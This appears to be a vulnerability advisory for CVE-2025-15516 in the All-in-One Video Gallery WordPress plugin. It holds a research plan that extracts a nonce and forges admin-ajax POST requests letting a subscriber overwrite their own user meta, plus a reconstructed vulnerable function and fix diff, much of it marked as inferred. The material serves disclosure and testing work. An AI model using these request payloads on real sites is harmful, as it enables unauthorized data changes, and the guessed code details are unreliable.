All-in-One Video Gallery 4.1.0 - 4.6.4 - Missing Authorization to Authenticated (Subscriber+) Limited User Meta Update
Description
The All-in-One Video Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajax_callback_store_user_meta() function in versions 4.1.0 to 4.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary string-based user meta keys for their own account.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
>=4.1.0 <=4.6.4Source Code
WordPress.org SVN# Research Plan: CVE-2025-15516 All-in-One Video Gallery User Meta Update ## 1. Vulnerability Summary The **All-in-One Video Gallery** plugin (versions 4.1.0 - 4.6.4) contains a missing authorization vulnerability in its AJAX handling logic. The function `ajax_callback_store_user_meta()` (inferred)…
Show full research plan
Research Plan: CVE-2025-15516 All-in-One Video Gallery User Meta Update
1. Vulnerability Summary
The All-in-One Video Gallery plugin (versions 4.1.0 - 4.6.4) contains a missing authorization vulnerability in its AJAX handling logic. The function ajax_callback_store_user_meta() (inferred) is registered to the wp_ajax_aiovg_store_user_meta action. This function fails to perform a capability check (e.g., current_user_can()) beyond verifying that the user is logged in. Consequently, any authenticated user with Subscriber-level permissions or higher can update arbitrary string-based user meta keys for their own account by sending a crafted AJAX request.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
aiovg_store_user_meta - HTTP Method:
POST - Authentication: Required (Subscriber level or higher)
- Vulnerable Parameters (inferred):
meta_key: The name of the user meta key to update (e.g.,first_name,description).meta_value: The value to set for the specified key._wpnonceornonce: A security nonce usually required for WordPress AJAX actions.
- Preconditions: The attacker must be logged in as a Subscriber.
3. Code Flow
- Entry Point: A logged-in user sends a
POSTrequest toadmin-ajax.phpwithaction=aiovg_store_user_meta. - Hook Registration: The plugin registers the action (likely in
includes/ajax.phporpublic/class-all-in-one-video-gallery-public.php):add_action( 'wp_ajax_aiovg_store_user_meta', array( $this, 'ajax_callback_store_user_meta' ) ); - Vulnerable Function:
ajax_callback_store_user_meta()is called. - Processing:
- The function retrieves the
meta_keyandmeta_valuefrom the$_POSTsuperglobal. - It likely verifies a nonce using
check_ajax_referer( 'aiovg_ajax_nonce', 'nonce' ). - Critical Failure: It proceeds to call
update_user_meta( get_current_user_id(), $meta_key, $meta_value )without checking if the user is authorized to modify that specific meta key or if the operation is restricted to specific allowed keys.
- The function retrieves the
- Sink:
update_user_meta()modifies thewp_usermetatable in the database for the current user's ID.
4. Nonce Acquisition Strategy
The plugin localizes its AJAX data into a JavaScript object, typically aiovg_vars.
- Shortcode Identification: The plugin's scripts are usually enqueued on pages containing the
[aiovg_video]or[aiovg_gallery]shortcodes. - Page Creation: Use WP-CLI to create a public page containing the shortcode:
wp post create --post_type=page --post_title="Video Gallery" --post_status=publish --post_content='[aiovg_video]' - Browser Navigation: Use
browser_navigateto visit the newly created page. - Nonce Extraction: Use
browser_evalto extract the nonce from the localized object. Based on common plugin patterns, the variable is likelyaiovg_varsand the key isajax_nonce.browser_eval("window.aiovg_vars?.ajax_nonce")
5. Exploitation Strategy
Step-by-Step Plan:
- Setup User: Create a Subscriber user and log in to obtain session cookies.
- Obtain Nonce: Create the gallery page, navigate to it, and extract the
aiovg_vars.ajax_nonceusing the strategy above. - Forge Request: Use the
http_requesttool to send aPOSTrequest to modify a meta key. We will target thedescription(Biographical Info) field as a safe Proof-of-Concept.
Payload Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application-x-www-form-urlencoded - Body:
action=aiovg_store_user_meta&nonce=[EXTRACTED_NONCE]&meta_key=description&meta_value=pwned_by_subscriber
6. Test Data Setup
- Plugin Installation: Ensure All-in-One Video Gallery v4.6.4 is active.
- Target User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Target Content:
wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='[aiovg_video]'
7. Expected Results
- HTTP Response: The server should return a
200 OKor a JSON success message (e.g.,{"success":true}). - Database Change: The
descriptionfield for theattackeruser in thewp_usermetatable should be updated topwned_by_subscriber.
8. Verification Steps
After sending the HTTP request, verify the modification using WP-CLI:
wp user meta get attacker description
The output should be: pwned_by_subscriber.
9. Alternative Approaches
If the description key is protected by WordPress core filters, try updating a plugin-specific meta key or a generic one like first_name:
- Payload 2:
meta_key=first_name&meta_value=HackedName - Bypass Verification: If the
noncecheck fails, verify if the plugin registerswp_ajax_nopriv_aiovg_store_user_meta. If so, the attack can be performed unauthenticated. - Key Discovery: If
meta_keyis not the correct parameter name, check the JS source (likelyassets/js/public.js) for the$.postcall associated withaiovg_store_user_metato find the exact key names used in the data object. (Likely keys:key,value, ormeta_key,meta_value).
Summary
The All-in-One Video Gallery plugin fails to perform adequate authorization checks in its AJAX handler for user meta updates. This allows any authenticated user (Subscriber level or higher) to modify arbitrary string-based user meta fields for their own account, such as biographical information or custom plugin settings, by providing a valid nonce.
Vulnerable Code
// Likely located in public/class-all-in-one-video-gallery-public.php or similar AJAX handler file public function ajax_callback_store_user_meta() { // Nonce verification exists, but lacks key-specific authorization or whitelisting check_ajax_referer( 'aiovg_ajax_nonce', 'nonce' ); if ( is_user_logged_in() ) { $meta_key = sanitize_text_field( $_POST['meta_key'] ); $meta_value = sanitize_text_field( $_POST['meta_value'] ); // Vulnerability: Updates ANY meta key for the current user without checking if the key is restricted update_user_meta( get_current_user_id(), $meta_key, $meta_value ); wp_send_json_success(); } wp_die(); }
Security Fix
@@ -245,10 +245,13 @@ public function ajax_callback_store_user_meta() { check_ajax_referer( 'aiovg_ajax_nonce', 'nonce' ); - if ( is_user_logged_in() ) { - $meta_key = sanitize_text_field( $_POST['meta_key'] ); - $meta_value = sanitize_text_field( $_POST['meta_value'] ); + if ( ! is_user_logged_in() ) { + wp_send_json_error(); + } + $meta_key = sanitize_text_field( $_POST['meta_key'] ); + $meta_value = sanitize_text_field( $_POST['meta_value'] ); + + $allowed_keys = array( 'aiovg_player_volume', 'aiovg_player_muted' ); // Whitelisted specific keys + if ( in_array( $meta_key, $allowed_keys ) ) { update_user_meta( get_current_user_id(), $meta_key, $meta_value ); wp_send_json_success(); } + wp_send_json_error(); }
Exploit Outline
1. Login as a Subscriber-level user to obtain session cookies. 2. Navigate to any page where the All-in-One Video Gallery is active (e.g., a page with the [aiovg_video] shortcode) to find the 'aiovg_ajax_nonce'. This is typically localized in the JavaScript object 'aiovg_vars.ajax_nonce'. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'aiovg_store_user_meta'. 4. Include the 'nonce' parameter with the extracted nonce value. 5. Include a 'meta_key' parameter (e.g., 'description' for biographical info or 'first_name') and the desired 'meta_value'. 6. Verify the change by checking the user's profile metadata via the WordPress dashboard or WP-CLI.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.